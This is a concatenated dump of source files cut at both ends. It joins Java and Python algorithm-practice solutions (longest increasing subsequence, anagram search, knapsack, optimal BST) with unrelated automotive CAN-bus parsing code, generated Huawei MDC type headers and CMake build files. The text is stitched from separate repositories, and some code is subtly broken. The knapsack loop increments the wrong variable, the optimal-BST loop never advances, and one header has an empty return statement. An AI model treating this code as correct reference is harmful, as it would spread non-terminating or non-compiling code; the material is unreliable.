<= lastFullByte; b++) { screen[(width / 8) * y + b] = (byte) 0xFF; } byte startMask = (byte) (0xFF >> startOffset); byte endMask = (byte) ~(0xFF >> (endOffset + 1)); if ((x1 / 8) == (x2 / 8)) { byte mask = (byte) (startMask & endMask); screen[(width / 8) * y + (x1 / 8)] |= mask; } else { if (startOffset != 0) { int byteNumber = (width / 8) * y + firstFullByte - 1; screen[byteNumber] |= startMask; } if (endOffset != 7) { int byteNumber = (width / 8) * y + lastFullByte + 1; screen[byteNumber] |= endMask; } } } } <file_sep>package com.binea.www.leetcodepractice.algorithm; import java.util.Arrays; // Created by xubinggui on 9/9/16. // _ooOoo_ // o8888888o // 88" . "88 // (| -_- |) // O\ = /O // ____/`---'\____ // . ' \\| |// `. // / \\||| : |||// \ // / _||||| -:- |||||- \ // | | \\\ - /// | | // | \_| ''\---/'' | | // \ .-\__ `-` ___/-. / // ___`. .' /--.--\ `. . __ // ."" '< `.___\_<|>_/___.' >'"". // | | : `- \`.;`\ _ /`;.`/ - ` : | | // \ \ `-. \_ __\ /__ _/ .-` / / // ======`-.____`-.___\_____/___.-`____.-'====== // `=---=' // // ............................................. // 佛祖镇楼 BUG辟易 public class LengthOfLIS { /** * Given an unsorted array of integers, find the length of longest increasing subsequence. * * For example, * Given [10, 9, 2, 5, 3, 7, 101, 18], * The longest increasing subsequence is [2, 3, 7, 101], therefore the length is 4. Note that there may be more than one LIS combination, it is * only necessary for you to return the length. * * Your algorithm should run in O(n2) complexity. * * Follow up: Could you improve it to O(n log n) time complexity? */ public int lengthOfLIS3ms(int[] nums) { int[] dp = new int[nums.length]; int len = 0; for (int x : nums) { int i = Arrays.binarySearch(dp, 0, len, x); if (i < 0) { i = -(i + 1); } dp[i] = x; if (i == len) { len++; } } return len; } public int lengthOfLIS(int[] nums) { if (nums.length == 0) { return 0; } int[] tails = new int[nums.length]; int max = 0; tails[max] = Integer.MAX_VALUE; for (int i = 0; i < nums.length; i++) { if (nums[i] <= tails[0]) { tails[0] = nums[i]; } else if (nums[i] >= tails[max]) { tails[++max] = nums[i]; } else { tails[binarySearch(0, max, tails, nums[i])] = nums[i]; } } return max + 1; } public int binarySearch(int L, int R, int[] tails, int target) { while (L <= R) { int M = L + (R - L) / 2; if (target > tails[M]) { L = M + 1; } else { R = M - 1; } } return L; } } <file_sep>package com.binea.www.leetcodepractice.algorithm; import java.util.HashMap; /** * Created by xubinggui on 1/10/16. */ public class LongestSubString { /** * Given a string, find the length of the longest substring without repeating characters. * For example, the longest substring without repeating letters for "abcabcbb" is "abc", * which the length is 3. For "bbbbb" the longest substring is "b", with the length of 1. */ public int lengthOfLongestSubstring(String s) { if(s == null || s.length() == 0) { return 0; } HashMap<Character, Integer> map = new HashMap<>(); int max = 0; int j = 0; for(int i = 0; i<s.length(); i++) { if(map.containsKey(s.charAt(i))) { j = Math.max(j, map.get(s.charAt(i)) + 1); } map.put(s.charAt(i), i); max = Math.max(max, i - j + 1); } return max; } } <file_sep>def findAnagrams(s, p): dct = {} for c in p: if c in dct: dct[c] += 1 else: dct[c] = 1 L, res, tmpdct = len(p), [], {} for i in xrange(len(s)-L+1): if not tmpdct: # construct new temp dictionary for c in s[i:i+L]: if c not in tmpdct: tmpdct[c] = 1 else: tmpdct[c] += 1 else: # update the dictionary tmpdct[s[i-1]] -= 1 if s[i+L-1] in tmpdct: tmpdct[s[i+L-1]] += 1 else: tmpdct[s[i+L-1]] = 1 fit = True for k in dct.keys(): if k not in tmpdct or dct[k] != tmpdct[k]: fit = False break if fit: res += i, return res<file_sep>package com.example.btree; /** * Created by binea on 2016/10/28. */ public class SearchResult<V> { private boolean exist; private int index; private V value; public SearchResult(boolean exist, int index) { this.exist = exist; this.index = index; } public SearchResult(boolean exist, int index, V value) { this(exist, index); this.value = value; } public boolean isExist() { return exist; } public int getIndex() { return index; } public V getValue() { return value; } } <file_sep>package com.binea.www.leetcodepractice.algorithm.easy; import com.binea.www.leetcodepractice.algorithm.TreeNode; /** * Created by binea on 16/9/2017. */ public class ConvertSortedArraytoBinarySearchTree { /** * Given an array where elements are sorted in ascending order, convert it to a height balanced BST. * * @param nums * @return */ public TreeNode sortedArrayToBST(int[] nums) { if (nums == null || nums.length == 0) { return null; } return help(nums, 0, nums.length - 1); } public TreeNode help(int[] nums, int low, int high) { if (low > high) { return null; } int mid = (low + high) / 2; TreeNode treeNode = new TreeNode(nums[mid]); treeNode.left = help(nums, low, mid - 1); treeNode.right = help(nums, mid + 1, high); return treeNode; } } <file_sep>def generateTrees(n): def gen_trees(s, e, memo): if e < s: return [None] ret_list = [] if (s, e) in memo: return memo[s, e] for i in range(s, e + 1): list_left = gen_trees(s, i - 1, memo) list_right = gen_trees(i + 1, e, memo) for left in list_left: for right in list_right: root = TreeNode(i) root.left = left root.right = right ret_list.append(root) memo[s, e] = ret_list return ret_list if n == 0: return [] return gen_trees(1, n, {})<file_sep>package com.example.dp; /** * Created by binea on 2016/10/24. */ public class Package01Answer { class Package { int weight; int value; } public int[] getPackageAnswer(int[] value, int[] weight, int totalWeight) { int newValue = 0; int[][] state = new int[totalWeight + 1][totalWeight + 1]; for(int i = 1; i <= totalWeight; i++) { for(int j = 1; j < totalWeight; i++) { state[i][j] = state[i][j - 1]; if(weight[i - 1] < j) { if(value[i - 1] + state[i - 1][j - weight[i - 1]] > state[i - 1][j]) { state[i][j] = value[i - 1] + state[i - 1][j - weight[i - 1]]; } } } } return getSolution(state, weight, totalWeight); } public int[] getSolution(int[][] m, int[] weight, int totalWeight) { int[] x = new int[totalWeight]; int i = 0; int j = totalWeight; int n = weight.length; for(i = n ; i >= 0; i--) { if(m[i][j] == m[i - 1][j]) { x[i - 1] = 0; }else { x[i - 1] = 1; j = weight[i - 1]; } } return x; } } <file_sep>package com.example.dp; /** * Created by binea on 2016/10/22. */ public class OptimalBST { double p[] = {-1,0.15,0.1,0.05,0.1,0.2}; double q[] = {0.05,0.1,0.05,0.05,0.05,0.1}; public void getOptimalBST(int n){ double[][] w = new double[n + 1][n + 1]; double[][] e = new double[n + 1][n + 1]; int[][] root = new int[n + 1][n + 1]; for(int i = 1; i < n; i++) { w[i][i -1] = q[i - 1]; e[i][i - 1] = q[i - 1]; } for(int l = 1; l <= n ; l++) { for(int i = l; i < n - l + 1;) { int j = i + l - 1; e[i][j] = Double.MAX_VALUE; w[i][j] = w[i][j - 1] + p[i] + q[j]; for(int r = i; r <= j; r++) { double t = e[i][r -1] + e[r + 1][j] + w[i][j]; if(t < e[i][j]) { e[i][j] = t; root[i][j] = r; } } } } } void printRoot(double[][] root, int n) { System.out.print("各子树的根:"); for (int i = 1;i <= n;++i) { for (int j = 1;j <= n;++j) { System.out.print(root[i][j] + " "); } System.out.println(); } System.out.println(); } }
56710f14a5b450e5b61ec40725453a3e7229af31
[ "SQL", "Markdown", "Gradle", "Java", "Python" ]
76
Java
xu6148152/Algorithm-Practice
f7d7c3303773a7f935e8e332549e009fdf80688a
f9885707a1dde6841681be0e8e3849af79ce8da8
refs/heads/master
<file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/teshun/protocol/gw_vcu_drivests_0x10a_10a.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace teshun { using ::jmc_auto::drivers::canbus::Byte; Gwvcudrivests0x10a10a::Gwvcudrivests0x10a10a() {} const int32_t Gwvcudrivests0x10a10a::ID = 0x10A; void Gwvcudrivests0x10a10a::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_teshun()->mutable_gw_vcu_drivests_0x10a_10a()->set_checksum_0x10a(checksum_0x10a(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_drivests_0x10a_10a()->set_rolling_counter_0x10a(rolling_counter_0x10a(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_drivests_0x10a_10a()->set_vcu_vehicleerror_intervene(vcu_vehicleerror_intervene(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_drivests_0x10a_10a()->set_vcu_torque_controlstatus(vcu_torque_controlstatus(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_drivests_0x10a_10a()->set_vcu_torquedriver_intervene(vcu_torquedriver_intervene(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_drivests_0x10a_10a()->set_vcu_gearpos_controlstatus(vcu_gearpos_controlstatus(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_drivests_0x10a_10a()->set_vcu_gearposdriver_intervene(vcu_gearposdriver_intervene(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_drivests_0x10a_10a()->set_vcu_veh_sts(vcu_veh_sts(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_drivests_0x10a_10a()->set_vcu_axlespdst(vcu_axlespdst(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_drivests_0x10a_10a()->set_vcu_axlespd(vcu_axlespd(bytes, length)); chassis->mutable_check_response()->set_is_vcu_online( vcu_torque_controlstatus(bytes, length) == 2); chassis->mutable_check_response()->set_is_switch_online( vcu_gearpos_controlstatus(bytes, length) == 2); } // config detail: {'name': 'checksum_0x10a', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwvcudrivests0x10a10a::checksum_0x10a(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'rolling_counter_0x10a', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwvcudrivests0x10a10a::rolling_counter_0x10a(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'vcu_vehicleerror_intervene', 'enum': {0: 'VCU_VEHICLEERROR_INTERVENE_NOTINTERVENE', 1: 'VCU_VEHICLEERROR_INTERVENE_INTERVENE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 0, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_drivests_0x10a_10a::Vcu_vehicleerror_interveneType Gwvcudrivests0x10a10a::vcu_vehicleerror_intervene(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 1); Gw_vcu_drivests_0x10a_10a::Vcu_vehicleerror_interveneType ret = static_cast<Gw_vcu_drivests_0x10a_10a::Vcu_vehicleerror_interveneType>(x); return ret; } // config detail: {'name': 'vcu_torque_controlstatus', 'enum': {0: 'VCU_TORQUE_CONTROLSTATUS_TEMPORARILY_INHIBIT', 1: 'VCU_TORQUE_CONTROLSTATUS_AVAILABLEFORCONTROL', 2: 'VCU_TORQUE_CONTROLSTATUS_ACTIVE', 3: 'VCU_TORQUE_CONTROLSTATUS_PERMANENTLY_FAILED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 14, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_drivests_0x10a_10a::Vcu_torque_controlstatusType Gwvcudrivests0x10a10a::vcu_torque_controlstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(5, 2); Gw_vcu_drivests_0x10a_10a::Vcu_torque_controlstatusType ret = static_cast<Gw_vcu_drivests_0x10a_10a::Vcu_torque_controlstatusType>(x); return ret; } // config detail: {'name': 'vcu_torquedriver_intervene', 'enum': {0: 'VCU_TORQUEDRIVER_INTERVENE_NOTINTERVENE', 1: 'VCU_TORQUEDRIVER_INTERVENE_INTERVENE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_drivests_0x10a_10a::Vcu_torquedriver_interveneType Gwvcudrivests0x10a10a::vcu_torquedriver_intervene(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(7, 1); Gw_vcu_drivests_0x10a_10a::Vcu_torquedriver_interveneType ret = static_cast<Gw_vcu_drivests_0x10a_10a::Vcu_torquedriver_interveneType>(x); return ret; } // config detail: {'name': 'vcu_gearpos_controlstatus', 'enum': {0: 'VCU_GEARPOS_CONTROLSTATUS_TEMPORARILY_INHIBIT', 1: 'VCU_GEARPOS_CONTROLSTATUS_AVAILABLEFORCONTROL', 2: 'VCU_GEARPOS_CONTROLSTATUS_ACTIVE', 3: 'VCU_GEARPOS_CONTROLSTATUS_PERMANENTLY_FAILED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 6, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_drivests_0x10a_10a::Vcu_gearpos_controlstatusType Gwvcudrivests0x10a10a::vcu_gearpos_controlstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(5, 2); Gw_vcu_drivests_0x10a_10a::Vcu_gearpos_controlstatusType ret = static_cast<Gw_vcu_drivests_0x10a_10a::Vcu_gearpos_controlstatusType>(x); return ret; } // config detail: {'name': 'vcu_gearposdriver_intervene', 'enum': {0: 'VCU_GEARPOSDRIVER_INTERVENE_NOTINTERVENE', 1: 'VCU_GEARPOSDRIVER_INTERVENE_INTERVENE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_drivests_0x10a_10a::Vcu_gearposdriver_interveneType Gwvcudrivests0x10a10a::vcu_gearposdriver_intervene(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(7, 1); Gw_vcu_drivests_0x10a_10a::Vcu_gearposdriver_interveneType ret = static_cast<Gw_vcu_drivests_0x10a_10a::Vcu_gearposdriver_interveneType>(x); return ret; } // config detail: {'name': 'vcu_veh_sts', 'enum': {0: 'VCU_VEH_STS_NOTREADY', 1: 'VCU_VEH_STS_READY'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_drivests_0x10a_10a::Vcu_veh_stsType Gwvcudrivests0x10a10a::vcu_veh_sts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(7, 1); Gw_vcu_drivests_0x10a_10a::Vcu_veh_stsType ret = static_cast<Gw_vcu_drivests_0x10a_10a::Vcu_veh_stsType>(x); return ret; } // config detail: {'name': 'vcu_axlespdst', 'enum': {0: 'VCU_AXLESPDST_NOERROR', 1: 'VCU_AXLESPDST_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 32, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_drivests_0x10a_10a::Vcu_axlespdstType Gwvcudrivests0x10a10a::vcu_axlespdst(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 1); Gw_vcu_drivests_0x10a_10a::Vcu_axlespdstType ret = static_cast<Gw_vcu_drivests_0x10a_10a::Vcu_axlespdstType>(x); return ret; } // config detail: {'name': 'vcu_axlespd', 'offset': 0.0, 'precision': 0.5, 'len': 15, 'is_signed_var': False, 'physical_range': '[0|16383]', 'bit': 31, 'type': 'double', 'order': 'motorola', 'physical_unit': 'rpm'} double Gwvcudrivests0x10a10a::vcu_axlespd(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 4); int32_t t = t1.get_byte(1, 7); x <<= 7; x |= t; double ret = x * 0.500000; return ret; } } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_compile_options(-fPIC) add_library(localization_config_proto localization_config.pb.cc localization_config.pb.h) target_link_libraries(localization_config_proto common_proto protobuf) add_library(pose_proto pose.pb.cc pose.pb.h) target_link_libraries(pose_proto common_proto protobuf) add_library(gps_proto gps.pb.cc gps.pb.h) target_link_libraries(gps_proto pose_proto common_proto header_proto protobuf) add_library(imu_proto imu.pb.cc imu.pb.h) target_link_libraries(imu_proto pose_proto common_proto header_proto protobuf) add_library(localization_proto localization.pb.cc localization.pb.h) target_link_libraries(localization_proto pose_proto common_proto header_proto pnc_point_proto protobuf) add_library(measure_proto measure.pb.cc measure.pb.h) target_link_libraries(measure_proto common_proto header_proto protobuf) add_library(sins_pva_proto sins_pva.pb.cc sins_pva.pb.h) target_link_libraries(sins_pva_proto common_proto header_proto protobuf) add_library(gnss_pnt_result_proto gnss_pnt_result.pb.cc gnss_pnt_result.pb.h) target_link_libraries(gnss_pnt_result_proto gnss_raw_observation protobuf)<file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #include "mdc/sensor/canrxserviceinterface_common.h" namespace mdc { namespace sensor { constexpr ara::com::ServiceIdentifierType CanRxServiceInterface::ServiceIdentifier; constexpr ara::com::ServiceVersionType CanRxServiceInterface::ServiceVersion;; } // namespace sensor } // namespace mdc <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_int16_h #define impl_type_int16_h #include "base_type_std_int16_t.h" typedef std_int16_t Int16; #endif // impl_type_int16_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_element_h #define impl_type_element_h #include "impl_type_candata.h" #include "impl_type_uint32.h" #include "impl_type_systemtime.h" #include "impl_type_uint8.h" struct Element { ::Systemtime timeStamp; ::UInt32 canId; ::UInt8 validLen; ::CanData data; static bool IsPlane() { return false; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(timeStamp); fun(canId); fun(validLen); fun(data); } template<typename F> void enumerate(F& fun) const { fun(timeStamp); fun(canId); fun(validLen); fun(data); } bool operator == (const ::Element& t) const { return (timeStamp == t.timeStamp) && (canId == t.canId) && (validLen == t.validLen) && (data == t.data); } }; #endif // impl_type_element_h <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/esp_tq_0x217_217.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Esptq0x217217::Esptq0x217217() {} const int32_t Esptq0x217217::ID = 0x217; void Esptq0x217217::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_esp_tq_0x217_217()->set_esp_tqdecreqdbyespslow(esp_tqdecreqdbyespslow(bytes, length)); chassis->mutable_cx75()->mutable_esp_tq_0x217_217()->set_esp_tqinccreqdbyesp(esp_tqinccreqdbyesp(bytes, length)); chassis->mutable_cx75()->mutable_esp_tq_0x217_217()->set_rolling_counter_0x217(rolling_counter_0x217(bytes, length)); chassis->mutable_cx75()->mutable_esp_tq_0x217_217()->set_esp_trqinc_req(esp_trqinc_req(bytes, length)); chassis->mutable_cx75()->mutable_esp_tq_0x217_217()->set_esp_trqred_req(esp_trqred_req(bytes, length)); chassis->mutable_cx75()->mutable_esp_tq_0x217_217()->set_checksum_0x217(checksum_0x217(bytes, length)); chassis->mutable_cx75()->mutable_esp_tq_0x217_217()->set_esp_tqdecreqdbyespfast(esp_tqdecreqdbyespfast(bytes, length)); } // config detail: {'name': 'esp_tqdecreqdbyespslow', 'offset': -1000.0, 'precision': 0.5, 'len': 16, 'is_signed_var': False, 'physical_range': '[-1000|1000]', 'bit': 23, 'type': 'double', 'order': 'motorola', 'physical_unit': 'Nm'} double Esptq0x217217::esp_tqdecreqdbyespslow(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 3); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; double ret = x * 0.500000 + -1000.000000; return ret; } // config detail: {'name': 'esp_tqinccreqdbyesp', 'offset': -1000.0, 'precision': 0.5, 'len': 16, 'is_signed_var': False, 'physical_range': '[-1000|1000]', 'bit': 39, 'type': 'double', 'order': 'motorola', 'physical_unit': 'Nm'} double Esptq0x217217::esp_tqinccreqdbyesp(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 5); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; double ret = x * 0.500000 + -1000.000000; return ret; } // config detail: {'name': 'rolling_counter_0x217', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Esptq0x217217::rolling_counter_0x217(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'esp_trqinc_req', 'enum': {0: 'ESP_TRQINC_REQ_INACTIVE', 1: 'ESP_TRQINC_REQ_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 52, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_tq_0x217_217::Esp_trqinc_reqType Esptq0x217217::esp_trqinc_req(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(4, 1); Esp_tq_0x217_217::Esp_trqinc_reqType ret = static_cast<Esp_tq_0x217_217::Esp_trqinc_reqType>(x); return ret; } // config detail: {'name': 'esp_trqred_req', 'enum': {0: 'ESP_TRQRED_REQ_INACTIVE', 1: 'ESP_TRQRED_REQ_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_tq_0x217_217::Esp_trqred_reqType Esptq0x217217::esp_trqred_req(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(5, 1); Esp_tq_0x217_217::Esp_trqred_reqType ret = static_cast<Esp_tq_0x217_217::Esp_trqred_reqType>(x); return ret; } // config detail: {'name': 'checksum_0x217', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Esptq0x217217::checksum_0x217(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'esp_tqdecreqdbyespfast', 'offset': -1000.0, 'precision': 0.5, 'len': 16, 'is_signed_var': False, 'physical_range': '[-1000|1000]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': 'Nm'} double Esptq0x217217::esp_tqdecreqdbyespfast(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 1); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; double ret = x * 0.500000 + -1000.000000; return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_messagesource_h #define impl_type_messagesource_h #include "impl_type_uint8.h" enum class MessageSource : UInt8 { UNKNOWN = 1, CANBUS = 2, CONTROL = 3, DECISION = 4, LOCALIZATION = 5, PLANNING = 6, PREDICTION = 7, SIMULATOR = 8, HWSYS = 9, ROUTING = 10, MONITOR = 11, HMI = 12, RELATIVE_MAP = 13, GNSS = 14, REMOTECONTROL = 15 }; #endif // impl_type_messagesource_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_inputdebug_h #define impl_type_inputdebug_h #include "impl_type_header.h" struct InputDebug { ::Header localization_header; ::Header canbus_header; ::Header trajectory_header; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(localization_header); fun(canbus_header); fun(trajectory_header); } template<typename F> void enumerate(F& fun) const { fun(localization_header); fun(canbus_header); fun(trajectory_header); } bool operator == (const ::InputDebug& t) const { return (localization_header == t.localization_header) && (canbus_header == t.canbus_header) && (trajectory_header == t.trajectory_header); } }; #endif // impl_type_inputdebug_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_compile_options(-fPIC) add_subdirectory(common) add_subdirectory(proto) add_subdirectory(controller) add_executable(control main.cc) target_link_libraries(control ${COMMON_LIB} control_lib common) add_library(lib_pad_terminal INTERFACE) target_link_libraries(lib_pad_terminal INTERFACE control_common) add_library(control_lib control.cc control.h) target_link_libraries(control_lib canbus_proto common jmc_auto_app adapter_manager #monitor_log time util control_common controller control_proto localization_proto perception_proto planning_proto prediction_proto)<file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_chunkbody_h #define impl_type_chunkbody_h #include "impl_type_singlemessage.h" struct ChunkBody { ::SingleMessage messages; static bool IsPlane() { return ; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(messages); } template<typename F> void enumerate(F& fun) const { fun(messages); } bool operator == (const ::ChunkBody& t) const { return (messages == t.messages); } }; #endif // impl_type_chunkbody_h <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_CX75_PROTOCOL_EPS_0X260_260_H_ #define MODULES_CANBUS_VEHICLE_CX75_PROTOCOL_EPS_0X260_260_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Eps0x260260 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Eps0x260260(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'EPS_SASSoftLimitRightFlg', 'enum': {0: 'EPS_SASSOFTLIMITRIGHTFLG_NO_LEARNED', 1: 'EPS_SASSOFTLIMITRIGHTFLG_PRIMARY_LEARNED_ONLY_FOR_CEPS', 2: 'EPS_SASSOFTLIMITRIGHTFLG_LEARNED', 3: 'EPS_SASSOFTLIMITRIGHTFLG_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 1, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_sassoftlimitrightflgType eps_sassoftlimitrightflg(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_N_LoadInfo', 'offset': 0.0, 'precision': 1.0, 'len': 7, 'is_signed_var': False, 'physical_range': '[0|127]', 'bit': 15, 'type': 'int', 'order': 'motorola', 'physical_unit': 'A'} int eps_n_loadinfo(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_St_EmergencyPowerLimit', 'enum': {0: 'EPS_ST_EMERGENCYPOWERLIMIT_NORMAL', 1: 'EPS_ST_EMERGENCYPOWERLIMIT_POWER_DENSITY_LIMIT'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 16, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_0x260_260::Eps_st_emergencypowerlimitType eps_st_emergencypowerlimit(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_St_EmergencyMotor', 'enum': {0: 'EPS_ST_EMERGENCYMOTOR_NORMAL', 1: 